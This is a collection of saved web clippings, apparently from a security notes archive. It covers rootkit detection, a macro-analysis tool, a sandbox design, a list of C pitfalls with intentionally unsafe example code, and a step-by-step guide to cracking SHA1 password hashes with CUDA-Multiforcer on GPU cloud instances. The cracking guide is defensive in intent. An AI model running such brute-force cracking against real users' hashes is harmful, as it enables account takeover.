other tools such as Process Explorer. However, monitoring TCP connections will
quickly reveal the presence of an offending process whose name can’t be found.

<img src='img/Temp2_1570.jpg' />

Rootkit Detective also detects processes hidden via DKOM.

<img src='img/Temp2_1574.jpg' />

Accessing kernel memory from userland is really bad, but it appears this hole
has been plugged in later versions of Windows. Using this method of calling
NtDebugSystemControl\(\) to access kernel memory is not trivial, and we don’t
expect this technique to be used widely. And this is a good thing because
according toArtemis, Windows XP is still the most widely deployed operating
system in corporate environments. My colleagues Igor Muttik, Dmitry Gryaznov,
and Joel Yonts of Advanced Auto Parts demonstrated this during McAfee’s Focus
09 conference.

Nevertheless, I offer another reminder that the bad guys never hesitate to
exploit any feature, whether documented or not, as long as they can gain
control over innocent machines.

Log into privileged user accounts only when required, and keep your anti-virus
software up to date\!

# MalwareCantFly/Vba2Graph

**Created:**| _9/23/2018 8:51:10 AM_  
---|---  
**Updated:**| _9/23/2018 8:51:10 AM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis vb macros_  
  

  

# Vba2Graph

A tool for security researchers, who waste their time analyzing malicious
Office macros.

Generates a VBA call graph, with potential malicious keywords highlighted.

Allows for quick analysis of malicous macros, and easy understanding of the
execution flow.

@MalwareCantFly

### Features

  * Keyword highlighting
  * VBA Properties support
  * External function declarion support
  * Tricky macros with "\_Change" execution triggers
  * Fancy color schemes\!

#### Pros

✓ Pretty fast

✓ Works well on most malicious macros observed in the wild

#### Cons

✗ Static \(dynamicaly resolved calls would not be recognized\)

## Examples

Example 1:

Trickbot downloader - utilizes object Resize event as initial trigger,
followed by TextBox\_Change triggers.

<img src='img/Temp2_5140.png' width='646' height='843' alt='Example 1' />

Example 2:

<img src='img/Temp2_5141.png' width='898' height='431' alt='Example2' />

Check out the _Examples_ folder for more cases.

## Installation

### Install oletools:

[code]

    https://github.com/decalage2/oletools/wiki/Install
[/code]

### Install Python Requirements

[code]

    pip2 install -r requirements.txt
[/code]

### Install Graphviz

#### Windows

Install Graphviz msi:

[code]

    https://graphviz.gitlab.io/_pages/Download/Download_windows.html
[/code]

Add "dot.exe" to PATH env variable or just:

[code]

    set PATH=%PATH%;C:\Program Files (x86)\Graphviz2.38\bin
[/code]

#### Mac

[code]

    brew install graphviz
[/code]

#### Ubuntu

[code]

    sudo apt-get install graphviz
[/code]

#### Arch

[code]

    sudo pacman -S graphviz
[/code]

### Usage

[code]

    usage: vba2graph.py [-h] [-o OUTPUT] [-c {0,1,2,3}] (-i INPUT | -f FILE)
    
    optional arguments:
      -h, --help            show this help message and exit
      -o OUTPUT, --output OUTPUT
                            output folder (default: "output")
      -c {0,1,2,3}, --colors {0,1,2,3}
                            color scheme number [0, 1, 2, 3] (default: 0 - B&W)
      -i INPUT, --input INPUT
                            olevba generated file or .bas file
      -f FILE, --file FILE  Office file with macros
    
[/code]

### Usage Examples \(All Platforms\)

Only Python 2 is supported:

[code]

    # Generate call graph directly from an Office file with macros [tnx @doomedraven]
    python2 vba2graph.py -f malicious.doc -c 2    
    
    # Generate vba code using olevba then pipe it to vba2graph
    olevba malicious.doc | python2 vba2graph.py -c 1
    
    # Generate call graph from VBA code
    python2 vba2graph.py -i vba_code.bas -o output_folder
    
[/code]

### Output

You'll get 4 folders in your output folder:

  * **png:** the actual graph image you are looking for
  * **svg:** same graph image, just in vector graphics
  * **dot:** the dot file which was used to create the graph image
  * **bas:** the VBA functions code that was recognized by the script \(for debugging\)

### Batch Processing

#### Mac/Linux:

**batch.sh** script file is attached for running _olevba_ and _vba2graph_ on
an input folder of malicious docs.

Deletes _output_ dir. use with caution.

  

# Presenting... the Microsoft Safety Scanner - Microsoft Malware Protection
Center - Site Home - TechNet Blogs

**Created:**| _5/13/2011 11:32:21 AM_  
---|---  
**Updated:**| _5/13/2011 11:32:21 AM_  
**Author:**| __  
**Tags:**| _security tools Microsoft_  
  

### Presenting... the Microsoft Safety Scanner

mmpc2

12 May 2011 3:53 PM

We have just released a new tool called Microsoft Safety Scanner to help you
diagnose if your computer is infected and clean it if possible. It is
available from www.microsoft.com/security/scanner. The old online safety
scanner from safety.live.com also now points to
www.microsoft.com/security/scanner

So what is Microsoft Safety Scanner? It is a standalone, easy-to-use scanner,
packaged with the latest signatures, updated many times a day. While it is not
a replacement for a full antimalware solution with real-time protection, it
offers detection and cleaning using the same set of signatures and technology
utilized by both Microsoft Security Essentials and Forefront Endpoint
Protection.

If, like me, you have friends that don’t run up-to-date antivirus software,
and as a result, they ask for your help cleaning up their computer, you may
want to suggest this as a first step \(before you give up your free time to
assist them\) so you can use that time instead to be social.

All you need is to download the 32-bit or 64-bit version via your favourite
web browser and run Microsoft Safety Scanner \*. It will detect and remove
malware, and potentially unwanted software, for you. There is nothing to
install, it’s as simple as that. And because it is just one executable, you
can also easily copy it from one computer and run it on another. This is
especially useful when your access to security websites is blocked by malware
on the infected machine.

_\- Tony Kwan_

\* Note: Microsoft Safety Scanner expires 10 days after downloading. To re-run
a scan with the latest antimalware definitions, please download and run
Microsoft Safety Scanner again. If you are unsure if you are using the 32-bit
or 64-bit version of Windows operating system, please visit this support link:
http://go.microsoft.com/fwlink/?LinkId=212750&clcid=0x409

# Just Another Geek: no-release of seccomp-nurse

**Created:**| _4/14/2011 3:22:35 PM_  
---|---  
**Updated:**| _4/14/2011 3:22:35 PM_  
**Author:**| __  
**Tags:**| _Linux sandboxing_  
  

### no-release of seccomp-nurse

  

**This post in a nutshell**  
This is a draft since my presentation at Ekoparty, I will force myself to not
procrastinate this time. **This post announces the no-release of seccomp-
nurse** \(it is not a release because it is still an advanced proof of
concept\). Quick links:

  * seccomp-nurse homepage
  * seccomp-nurse sources
  * screencast: sandboxing the python interpreter

  
seccomp-nurse is a generic sandbox environnement for Linux, which doesn't
require any recompilation. Its purpose is to run legit applications in hostile
environment, I repeat, it is not designed to run malicious binary.  
  
**How does it work?** The following figure describes the architecture of
seccomp-nurse. You can see two processes, one running the untrusted code and
the trusted one. The trusted process is charge of intercepting syscalls and
checking if the action is allowed.  

<img src='img/Temp2_4734.png' />

  
  
  
_**How do we intercept syscalls?**_ By using a x86\_32 hack. If you remember
my previous post, I described how the GNU Libc was executing syscalls: by
making an indirect call in VDSO. seccomp-nurse overrides this page in order to
call our own function instead of performing the syscall. Our handler retrieves
CPU registers and directly sends them to the trusted process through a socket.
The trusted process checks its policy engine, like: "can this process open
this file?"  
  
**_If action is allowed, how to execute it?_** SECCOMP only permits 4
syscalls, how to do? Well. SECCOMP flag is limited to the thread scope, that
means that if a process has two threads, one can be sandboxed \(which will be
called untrustee\) and the other \(called trustee\) is free to do whatever it
wants, furthermore, if threads share everything, any action done in one thread
has an impact on the other. This is pretty cool\! But so dangereous\!  
  
Indeed, everything is shared, only the CPU registers are not shared between
threads, that's all\! The trustee must consider its environment as hostile:
its code must not do on memory access, only registers can be used. That's why
this part is written in assembly in order to control every instructions. It
has been designed to be the simplest possible because this is the keystone of
the sandbox, the security of the system relies on it.  
  
This routine is completely dummy and has no intelligence at all, everything is
done in the trusted process, the trustee understands only theses commands:  

  * Execute this syscall
  * Raise a SIGTRAP \(for debugging purpose\)
  * Native exit
  * Poke/Peek memory

**_How are exchanged the information between both processes?_** Thanks to a
POSIX shared memory, marked as read-only for the untrusted process. That way,
when the trusted process wants to delegate a syscall, it writes the values of
all registers in this shared memory and notifies the trustee to execute it.
With this mechanism, there is no race condition: every syscall arguments are
copied so they cannot be modified after the policy check.  
  
**_Limitations:_** Because of our way of intercepting syscalls, we can only
run dynamically linked binaries on 32 bits, using the GNU Libc. It is hoped
that the situation will improve greatly in the following weeks... Stay tuned\!  
  
**_Performances:_** Hahem. I don't know. Each time the untrustee makes a
syscall, our sandbox makes a lot of back and forth between both processes
\(one back and forth = at least one read, one write\).  

# Top 10 Ways to be Screwed by "C"

**Created:**| _10/21/2011 8:22:57 AM_  
---|---  
**Updated:**| _10/21/2011 8:22:57 AM_  
**Author:**| __  
**Tags:**| _C programming_  
  

# The Top 10 Ways to get screwed by the

"C" programming language

#####  Last modified Jan 26, 2011.

To get on this list, a bug has to be able to cause at least half a day of
futile head scratching, and has to be aggravated by the poor design of the "C"
language. In the interests of equal time, and to see how the world has
progressed in the 20-odd years since "C" escaped from its spawning ground, see
my Top 10 Ways to be Screwed by the Java programming language, and for more
general ways to waste a lot of time due to bad software, try my Adventures in
Hell page.  

A better language would allow fallible programmers to be more productive.
Infallible programmers, of the type unix' and "C" designers anticipated, need
read no further. In fairness, I have to admit that the writers of compilers
have improved on the situation in recent years, by detecting and warning about
potentially bad code in many cases.

  1. **Non-terminated comment** , "accidentally" terminated by some subsequent comment, with the code in between swallowed.

[code]

            a=b; /* this is a bug  
            c=d; /* c=d will never happen */
[/code]

  * **Accidental assignment/Accidental Booleans**

[code]

            if(a=b) c;      /* a always equals b, but c will be executed if b!=0 */
[/code]

Depending on your viewpoint, the bug in the language is that the assignment
operator is too easy to confuse with the equality operator; or maybe the bug
is that C doesn't much care what constitutes a boolean expression: **\(a=b\)**
is not a boolean expression\! \(but C doesn't care\).

Closely related to this lack of rigor in booleans, consider this construction:  

[code]

            if( 0 < a < 5) c;      /* this "boolean" is always true! */
[/code]

Always true because \(0<a\) generates either 0 or 1 depending on if \(0<a\),
then compares the result to 5, which is always true, of course. C doesn't
really have boolean expressions, it only pretends to.  
  
Or consider this:  
  
if\( a =\! b\) c; /\* this is compiled as \(a = \!b\), an assignment, rather
than \(a \!= b\) or \(a == \!b\) \*/  
  

  * Unhygienic macros

[code]

            #define assign(a,b) a=(char)b  
            assign(x,y>>8)
[/code]

_becomes_  
x=\(char\)y>>8 /\* probably not what you want \*/  

  * **Mismatched header files**

  
Suppose foo.h contains:

[code]

            struct foo { BOOL a};  
      
      file F1.c  contains  
            #define BOOL char  
            #include "foo.h"  
      
      file F2.c contains   
            #define BOOL int  
            #include "foo.h"
[/code]

now, F1. and F2 disagree about the fundamental attributes of structure "foo".
If they talk to each other, You Lose\!  

  * **Phantom returned values**

  
Suppose you write this

[code]

        int foo (a)  
        { if (a) return(1); } /* buggy, because sometimes no value is returned  */
[/code]

Generally speaking, C compilers, and C runtimes either can't or don't tell you
there is anything wrong. What actually happens depends on the particular C
compiler and what trash happened to be left lying around wherever the caller
is going to look for the returned value. Depending on how unlucky you are, the
program may even appear to work for a while.

Now, imagine the havoc that can ensue if "foo" was thought to return a
pointer\!  

  * **Unpredictable struct construction**

  
Consider this bit packing struct:

[code]

        struct eeh_type  
        {  
                uint16 size:          10;   /* 10 bits */  
                uint16 code:           6;   /* 6 bits */  
        };
[/code]

Depending on which C compiler, and which "endian" flavor of machine you are
on, this might actually be implemented as

[code]

            <10-bits><6-bits>
[/code]

or as

[code]

            <6-bits><10-bits>  
      
    Also, again depending on the C compiler, machine architecture, and various mysterious preference settings,  
    the items might be aligned to the nearest 8, 16, 32, or 64 bits.  
      
    So what matters? If you are trying to match bits with a real world file,  
    everything!  
      
      
    Need another way to lose big?  How about this:  
      
    Rect foo = {0,1,2,3};		// assign numbers to the first four slots  
      
    You may think you know what those four slots are, but there's at least an  
    even chance you'll have to discover the hard way if the structure ever  
    changes.  
    
[/code]

  * **Indefinite order of evaluation** \(contributed by Xavier @ triple-i.com
\)

[code]

            foo(pointer->member, pointer = &buffer[0]);
[/code]

Works with gcc \(and other compilers I used until I tried acc\) and does not
with acc. The reason is that gcc evaluates function arguments from left to
right, while acc evaluates arguments from right to left.

K&R and ANSI/ISO C specifications do not define the order of evaluation for
function arguments. It can be left-to-right, right-to-left or anything else
and is "unspecified". Thus any code which relies on this order of evaluation
is doomed to be non portable, even across compilers on the same platform.

This isn't an entirely non controversial point of view. Read the supplementary
dialog on the subject.  

  * **Easily changed block scope** \(Suggested by Marcel van der Peijl 
\)

[code]

        if( ... )   
            foo();   
        else   
            bar();
[/code]

which, when adding debugging statements, becomes

[code]

        if( ... )   
            foo();          /* the importance of this semicolon can't be overstated */  
        else   
            printf( "Calling bar()" );      /* oops! the else stops here */  
            bar();                          /* oops! bar is always executed */
[/code]

There is a large class of similar errors, involving misplaced semicolons and
brackets.  

  * **Permissive compilation** \(suggested by James M. Stern
\)

  
I once modified some code that called a function via a macro:

[code]

            CALLIT(functionName,(arg1,arg2,arg3));
[/code]

CALLIT did more than just call the function. I didn't want to do the extra
stuff so I removed the macro invocation, yielding:

[code]

            functionName,(arg1,arg2,arg3);
[/code]

Oops. This does not call the function. It's a comma expression that:

  1. Evaluates and then discards the address of functionName
  2. Evaluates the parenthesized comma expression \(arg1,arg2,arg3\)

**C's motto** : _who cares what it means? I just compile it\!_ My own favorite
in this vein is this:

[code]

            switch (a) {  
            int var = 1;    /* This initialization typically does not happen. */  
                            /* The compiler doesn't complain, but it sure screws things up! */  
            case A: ...  
            case B: ...  
            }
[/code]

Still not convinced? Try this one \(suggested by Mark Scarbrough \)

:

[code]

    #define DEVICE_COUNT 4   
    uint8 *szDevNames[DEVICE_COUNT] = {  
            "SelectSet 5000",  
            "SelectSet 7000"}; /* table has two entries of junk */
[/code]

  * **Unsafe returned values** \(suggested by Bill Davis <wdavi
s@dw3f.ess.harris.com>\)

char \*f\(\) \{  
char result\[80\];  
sprintf\(result,"anything will do"\);  
return\(result\); /\* Oops\! _result_ is allocated on the stack. \*/  
\}

int g\(\)  
\{  
char \*p;  
p = f\(\);  
printf\("f\(\) returns: %s\n",p\);  
\}  
The "wonderful" thing about this bug is that it sometimes seems to be a
correct program; As long as nothing has reused the particular piece of stack
occupied by _result_.  

  * **Undefined order of side effects.** \(suggested by michael
g@owl.WPI.EDU and others\)

Even within a single expression, even with only strictly manifest side
effects, C doesn't define the order of the side effects. Therefore, depending
on your compiler, I/++I might be either 0 or 1. Try this:

[code]

    #include <stdio .h>  
      
    int foo(int n) {printf("Foo got %d\n", n); return(0);}  
      
    int bar(int n) {printf("Bar got %d\n", n); return(0);}  
      
    int main(int argc, char *argv[])   
    {  
      int m = 0;  
      int (*(fun_array[3]))();  
      
      int i = 1;  
      int ii = i/++i;  
      
      printf("\ni/++i = %d, ",ii);  
      
      fun_array[1] = foo; fun_array[2] = bar;  
      
      (fun_array[++m])(++m);          
    }  
      
    Prints either i/++i = 1 or i/++i=0;
[/code]

Prints either "Foo got 2", or "Bar got 2"  

  * **Uninitialized local variables**

Actually, this bug is so well known, it didn't even make the list\! That
doesn't make it less deadly when it strikes. Consider the simplest case:

[code]

    void foo(a)  
    { int b;  
      if(b) {/* bug! b is not initialized! */ }  
    }
[/code]

and in truth, modern compilers will usually flag an error as blatant as the
above. However, you just have to be a little more clever to outsmart the
compiler. Consider:

[code]

    void foo(int a)   
    { BYTE *B;  
       if(a) B=Malloc(a);  
              if(B) { /* BUG! B may or may not be initialized */ *b=a; }   
    }
[/code]

  * **Cluttered compile time environment**

The compile-time environment of a typical compilation is cluttered with
hundreds \(or thousands\!\) of things that you typically have little or no
awareness of. These things sometimes have dangerously common names, leading to
accidents that can be virtually impossible to spot.

\#include <stdio.h>  
\#define BUFFSIZE 2048  
long foo\[BUFSIZ\]; //note spelling of BUFSIZ \!= BUFFSIZE

This compiles without error, but will fail in predictably awful and mysterious
ways, because BUFSIZ is a symbol defined by stdio.h. A typo/braino like this
can be virtually impossible to find if the distance between the the \#define
and the error is greater than in this trivial example.  

  * **Under constrained fundamental types**

  
I've been seriously burned because different compilers, or even different
options of the same compiler, define the fundamental type _int_ as either 16
or 32 bits.. In the same vein, name any other language in which _boolean_
might be defined or undefined, or might be defined by a compiler option, a
runtime pragma \(_yes\! we have booleans\!\),_ or just about any way the user
decided would work ok.  

  * **Utterly unsafe arrays**

This is so obvious it didn't even make the list for the first 5 years, but C's
arrays and associated memory management are completely, utterly unsafe, and
even obvious cases of error are not detected.

int thisIsNuts\[4\]; int i;  
for \( i = 0; i < 10; ++i \)  
\{  
thisIsNuts\[ i \] = 0; /\* Isn't it great ? I can use elements 1-10 of a 4
element array, and no one cares \*/  
\}

Of course, there are infinitely many ways to do things like this in C.  

  * **Octal numbers**\(suggested by Paul C. Anagnostopoulos\) 

In C, numbers beginning with a zero are evaluated in base 8. If there are no
8's or 9's in the numbers, then there will be no complaints from the compiler,
only screams from the programmer when he finally discovers the nature of the
problem.  

int numbers\[\] = \{ 001, // line up numbers for typographical clarity, lose
big time  
010, // 8 not 10  
014 \}; // 12, not 14  

Not convinced ? Try atoi\("000010"\);  

  * Signed Characters/Unsigned bytes.  
C was forced into a consistency trap by including unsigned as a modifier for
all integer types. On one hand, the fact that types char and byte are signed
causes all kinds of problems - It is never intuitive that 128 is a negative
number, and so very easy to forget. On the other hand, any arithmetic using
low precision integers must be done very carefully, and C makes it much too
easy to ignore this.  

  
char s = 127;  
unsigned char u = 127;  
s++; /\* the result is a negative number\! Effectively overflow occurs, but no
trap \*/  
if \(s<u\) \{ /\* true\!\*/ \}  
if\(s>127\) \{ /\* this can never be true \*/ \}  
if\(u<0\) \{ /\* this can never be true\*/ \}  
  

  * Fabulously awful "standard libraries" \(suggested by Pietro Gagliardi\)  
The default libraries in C are leftovers from the stone age of computing, when
anything that worked was acceptable. They are full of time bombs waiting to
explode at runtime, For an example, look no further than the "standard i/o
library", which, amazingly, is still standard.  

[code]     { int a=1,b=2;  
      char buf[10];  
      scanf("%d %d",a,b);			// don't you mean &a,&b?  Prepare to blow!  
      sprintf(buf,"this is the result: %d %d");	// putting at least 20 characters in a 10 character buffer  
    					// and fetching a couple random vars from the stack.  
    }
[/code]

  * Accidental Integers  
  
int a = 2 && 4 && 8; // what is the value of "a" ?  
  
would you belive a=1 ? that's correct\! Why would anyone write something like
this  
anyway? Well, the actual expression I wrote was this:  

int value = a && b && fn\(a->x,b->x\);  

  
I had a function of two pointer fields, and I wanted to be "safe" against
accindentally referencing through a null pointer.  
Imagine my surprise when the value was always zero or one. This one line of
code illustrates a trifecta of C's follies: allowing  
a pointer to be treated as a boolean, treating an integer as a boolean, and
treating a boolean as an integer.  
  

  * 64 Bit Madness \(suggested by Andrey Karpov from viva64.com\)  
With the advent of 64 bit architectures, there are many new ways that C will
screw you, especially in the "rare" case that array indeces approach or exceed
2^31. The basic problem is that signed and unsigned 32 bit integers are
accidents waiting to happen when used to index into large arrays. These bugs
are mostly theoretical, since most arrays will remain reasonably sized. But
expect a whole new universe of catastrophic failures of trusted and thoroughly
debugged systems when they are stressed with large arrays. Viva64 has a
product to sell, but it looks like a good one.  
  

  * Reserved for future expansion. Send email to ddyer@real
-me.net

# Cracking Passwords In The Cloud: Amazon’s New EC2 GPU Instances

**Created:**| _11/18/2010 5:54:53 PM_  
---|---  
**Updated:**| _11/18/2010 5:55:19 PM_  
**Author:**| __  
**Tags:**| _crackers cloud computing hash crypto programming cuda_  
  

## Cracking Passwords In The Cloud: Amazon’s New EC2 GPU Instances

_**Update:** Wow.. This got slashdotted, featured on Tech News Today and
there's a ZDNet article about this._

As of today, Amazon EC2 is providing what they call "Cluster GPU Instances":
An instance in the Amazon cloud that provides you with the power of two NVIDIA
Tesla “Fermi” M2050 GPUs. The exact specifications look like this:

> 22 GB of memory  
>  33.5 EC2 Compute Units \(2 x Intel Xeon X5570, quad-core “Nehalem”
> architecture\)  
>  2 x NVIDIA Tesla “Fermi” M2050 GPUs  
>  1690 GB of instance storage  
>  64-bit platform  
>  I/O Performance: Very High \(10 Gigabit Ethernet\)  
>  API name: cg1.4xlarge
GPUs are known to be the best hardware accelerator for cracking passwords, so
I decided to give it a try: How fast can this instance type be used to crack
SHA1 hashes?

Using the CUDA-Multiforce, I was able to crack all hashes from this file with
a password length from 1-6 in only 49 Minutes \(1 hour costs 2.10$ by the
way.\):

1  
2  
3  
|  Compute done: Reference time 2950.1 seconds  
Stepping rate: 249.2M MD4/s  
Search rate: 3488.4M NTLM/s  
---|---  
This just shows one more time that SHA1 for password hashing is deprecated -
You really don't want to use it anymore\! Instead, use something like scrypt
or PBKDF2\! Just imagine a whole cluster of this machines \(Which is now easy
to do for anybody thanks to Amazon\) cracking passwords for you, pretty
comfortable <img src='img/Temp2_1638.gif' alt=':-)' /> Large scaling password
cracking for everybody\!

Some more details:

  * Multiforcer Output
  * Hashes
  * Charset
  * Makefile
  * cpuinfo
  * meminfo
  * nvsmi

If I find the time, I'll write a tool which uses the AWS-API to launch on-
demand password-cracking instances with a preconfigured AMI. Stay tuned either
via RSS or via Twitter.

**Installation Instructions:**

I used the "**Cluster Instances HVM CentOS 5.5** \(AMI Id: ami-aa30c7c3\)"
machine image as provided by Amazon \(I choosed the image because it was the
only one with CUDA support built in.\) and selected "Cluster GPU
\(cg1.4xlarge, 22GB\)" as the instance type. After launching the instance and
SSHing into it, you can continue by installing the cracker:

I decided to install the "CUDA-Multiforcer" in version 0.7, as it's the latest
version of which the source is available. To compile it, you first need to
download the "GPU Computing SDK code samples":

1  
2  
3  
4  
|  \# wget
http://developer.download.nvidia.com/compute/cuda/3\_2/sdk/gpucomputingsdk\_3.2.12\_linux.run  
\# chmod +x gpucomputingsdk\_3.2.12\_linux.run  
\# ./gpucomputingsdk\_3.2.12\_linux.run  
\(Just press enter when asked for the installation directory and the CUDA
directory.\)  
---|---  
Now we need to install the g++ compiler:

1  
|  \# yum install automake autoconf gcc-c++  
---|---  
The next step is compiling the libraries of the SDK samples:

1  
2  
3  
|  \# cd ~/NVIDIA\_GPU\_Computing\_SDK/C/  
\# make lib/libcutil.so  
\# make shared/libshrutil.so  
---|---  
Now it's time to download and compile the CUDA-Multiforcer:

1  
2  
3  
4  
5  
6  
7  
|  \# cd ~/NVIDIA\_GPU\_Computing\_SDK/C/  
\# wget http://www.cryptohaze.com/releases/CUDA-Multiforcer-src-0.7.tar.bz2 -O
src/CUDA-Multiforcer.tar.bz2  
\# cd src/  
\# tar xjf CUDA-Multiforcer.tar.bz2  
\# cd CUDA-Multiforcer-Release/argtable2-9/  
\# ./configure && make && make install  
\# cd ../  
---|---  
As the Makefile of the CUDA-Multiforcer doesn't work out of the box, we need
to open it up and find the line

1  
|  CCFILES := -largtable2 -lcuda  
---|---  
Replace CCFILES with LINKFLAGS so that the line looks like this:

1  
|  LINKFLAGS := -largtable2 -lcuda  
---|---  
And type make. If everything worked out, you should have a file
~/NVIDIA\_GPU\_Computing\_SDK/C/bin/linux/release/CUDA-Multiforcer right now.
You can try the Multiforcer by doing something like this:

1  
2  
3  
4  
|  \# export LD\_LIBRARY\_PATH=/usr/local/lib:$LD\_LIBRARY\_PATH  
\# export LD\_LIBRARY\_PATH=/usr/local/cuda/lib64:$LD\_LIBRARY\_PATH  
\# cd ~/NVIDIA\_GPU\_Computing\_SDK/C/src/CUDA-Multiforcer-Release/  
\# ../../bin/linux/release/CUDA-Multiforcer -h SHA1 -f test\_hashes/Hashes-
SHA1-Full.txt --min=1 --max=6 -c charsets/charset-upper-lower-numeric-
symbol-95.chr  
---|---  
Congratulations, you now have a fully working, CUDA-based hash-cracker running
on an Amazon EC2 instance.

# OpenRefine

**Created:**| _6/6/2021 1:41:17 PM_  
---|---  
**Updated:**| _6/6/2021 1:41:17 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Welcome\!

OpenRefine \(previously Google Refine\) is a powerful tool for working with
messy data: cleaning it; transforming it from one format into another; and
extending it with web services and external data.

OpenRefine always keeps your data private on your own computer until YOU want
to share or collaborate. Your private data never leaves your computer unless
you want it to. \(It works by running a small server on your computer and you
use your web browser to interact with it\)

OpenRefine is available in more than 15 languages.

# ondrejbudai/hidviz

**Created:**| _5/7/2017 10:11:40 AM_  
---|---  
**Updated:**| _5/7/2017 10:11:40 AM_  
**Author:**| __  
**Tags:**| _Forensics USB_  
  

  

# Hidviz

<img
src='img/68747470733a2f2f7472617669732d63692e6f72672f6f6e6472656a62756461692f68696476697a2e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Build Status' /> <img
src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f38763034716b753732786337736834742f6272616e63682f6d61737465723f7376673d74727565'
width='106' height='20' alt='Build status' />

Hidviz is a GUI application for in-depth analysis of USB HID class devices.
The 2 main usecases of this aplication are reverse-engineering existing
devices and developing new USB HID devices.

_USB HID class consists of many possible devices, e.g. mice, keyboards,
joysticks and gamepads. But that's not all\! There are more exotic HID
devices, e.g. weather stations, medical equipment \(thermometers, blood
pressure monitors\) or even simulation devices \(think of flight sticks\!\)._

<img src='img/13841_screenshot.png' width='888' height='505' alt='Hidviz
screenshot' />

## 1\) Building

Hidviz can be built on various platforms where following prerequisities can be
obtained. Currently only Fedora, Ubuntu and MSYS2/Windows are supported and
build guide is available for them.

### 1.1\) Prerequisities

  * C++ compiler with C++14 support
  * libusb 1.0 \(can be called libusbx in you distro\)
  * protobuf \(v2 is enough\)
  * Qt5 base
  * CMake \(>=3.2\)

#### 1.1.1\) Installing prerequisities on Fedora

[code]

    sudo dnf install gcc-c++ gcc qt5-qtbase-devel protobuf-devel libusbx-devel
    
[/code]

#### 1.1.2\) Installing prerequisities on Ubuntu

[code]

    sudo apt-get install build-essential qtbase5-dev libprotobuf-dev protobuf-compiler libusb-1.0-0-dev
    
[/code]

_Note that Ubuntu 14.04 LTS has old gcc unable to build hidviz, you need to
install at leastgcc 5._

#### 1.1.3\) Installing prerequisities on MSYS2/Windows

_Please note hidviz is primarily developed on Linux and we currently don't
have Windows CI therefore Windows build can be broken at any time. If you find
so, please create an issue._

If you do not have MSYS2 installed, firstly follow this guide to install
MSYS2.

[code]

    pacman -S git mingw-w64-x86_64-cmake mingw-w64-x86_64-qt5 mingw-w64-x86_64-libusb \
              mingw-w64-x86_64-protobuf mingw-w64-x86_64-protobuf-c mingw-w64-x86_64-toolchain \
              make
    
[/code]

### 1.2\) Clone and prepare out of source build

Firstly you need to obtain sources from git and prepare directory for out of
source build:

[code]

    git clone --recursive https://github.com/ondrejbudai/hidviz.git
    mkdir hidviz/build
    cd hidviz/build
    
[/code]

**Please note you have to do recursive clone.**

### 1.3\) Configuring

#### 1.2.1\) Configuring on Fedora/Ubuntu \(Linux\)

[code]

    cmake ..
    
[/code]

#### 1.2.2\) Configuring on MSYS2/Windows

[code]

    cmake -G "Unix Makefiles" ..
    
[/code]

### 1.4\) Build

[code]

    make -j$(nproc)
    
[/code]

_If you are doing MSYS2 build, check before build you are using MinGW32/64
shell, otherwise the build process won't work. More information can be
foundhere._

## 2\) Running

**To run this project you need` build/hidviz ` as you current directory for
hidviz to work properly\!**

After successful build you need to run

[code]

    cd hidviz
    ./hidviz
    
[/code]

### 2\) Running on Windows

## 3\) Installing

Not yet available

## 4\) License

Hidviz is license under GPLv3+. For more information see LICENSE file.

  

# Brendan's blog » Linux Kernel Performance: Flame Graphs

**Created:**| _3/19/2012 9:07:33 AM_  
---|---  
**Updated:**| _3/19/2012 9:07:38 AM_  
**Author:**| __  
**Tags:**| _Linux Graphs kernel performance_  
  

# Linux Kernel Performance: Flame Graphs

To get the most out of your systems, you want detailed insight into what the
operating system kernel is doing. A typical approach is to sample stack
traces; however, the data collected can be time consuming to read or navigate.
Flame Graphs are a new way to visualize sampled stack traces, and can be
applied to the Linux kernel for some useful \(and stunning\!\) visualizations.

I’ve used these many times to help solve other kernel and application issues.
Since I posted the source to github, others have been using it too \(eg, for
node.js and IP scaling\). I’ve recently been using them to investigate Linux
kernel performance issues \(under KVM\), which I’ll demonstrate in this post
using a couple of different profiling tools: perf\_events and SystemTap.

## Linux Perf Events

This flame graph shows a network workload for the 3.2.9-1 Linux kernel,
running as a KVM instance:

<img src='http://dtrace.org/blogs/brendan/files/2012/03/perf-kernel-600.png'
width='600' height='314' alt='alt' />  
_click image for interactive SVG; larger PNGhere_

Flame Graphs show the sample population across the x-axis, and stack depth on
the y-axis. Each function \(stack frame\) is drawn as a rectangle, with the
width relative to the number of samples. See my previous post for the full
description of how these work.

You can use the mouse to explore where kernel CPU time is spent, quickly
quantifying code-paths and determining where performance tuning efforts are
best spent. This example shows that most time was spent in the vp\_notify\(\)
code-path, spending 70.52% of all on-CPU samples performing iowrite16\(\).

This was generated using perf\_events and the FlameGraph tools:

[code]

    # **perf record -a -g -F 1000 sleep 60**
    # **perf script | ./stackcollapse-perf.pl > out.perf-folded**
    # **cat out.perf-folded | ./flamegraph.pl > perf-kernel.svg**
    
[/code]

The first command runs perf in sampling mode \(polling\) at 1000 Hertz \(-F
1000; more on this later\) across all CPUs \(-a\), capturing stack traces so
that a call graph \(-g\) of function ancestry can be generated later. The
samples are saved in a perf.data file:

[code]

    # **ls -lh perf.data**
    -rw-------. 1 root root 15M Mar 12 20:13 perf.data
    
[/code]

This can be processed in a variety of ways. On recent versions, the `perf
report` command launches an ncurses navigator for call graph inspection. Older
versions of perf \(or if you pipe the new version\) print the call graph as a
tree, annotated with percentages:

[code]

    # **perf report | more**
    # ========
    # captured on: Wed Mar 14 00:09:59 2012
    # hostname : fedora1
    # os release : 3.2.9-1.fc16.x86_64
    # perf version : 3.2.9-1.fc16.x86_64
    # arch : x86_64
    # nrcpus online : 1
    # nrcpus avail : 1
    # cpudesc : QEMU Virtual CPU version 0.14.1
    # cpuid : GenuineIntel,6,2,3
    # total memory : 1020560 kB
    # cmdline : /usr/bin/perf record -a -g -F 1000 sleep 60
    # event : name = cycles, type = 1, config = 0x0, config1 = 0x0, config2 = 0x0, excl_usr = ...
    # HEADER_CPU_TOPOLOGY info available, use -I to display
    # HEADER_NUMA_TOPOLOGY info available, use -I to display
    # ========
    #
    # Events: 60K cpu-clock
    #
    # Overhead          Command          Shared Object                               Symbol
    # ........  ...............  .....................  ...................................
    #
        72.18%            iperf  [kernel.kallsyms]      [k] iowrite16
                          |
                          --- iowrite16
                             |
                             |--99.53%-- vp_notify
                             |          virtqueue_kick
                             |          start_xmit
                             |          dev_hard_start_xmit
                             |          sch_direct_xmit
                             |          dev_queue_xmit
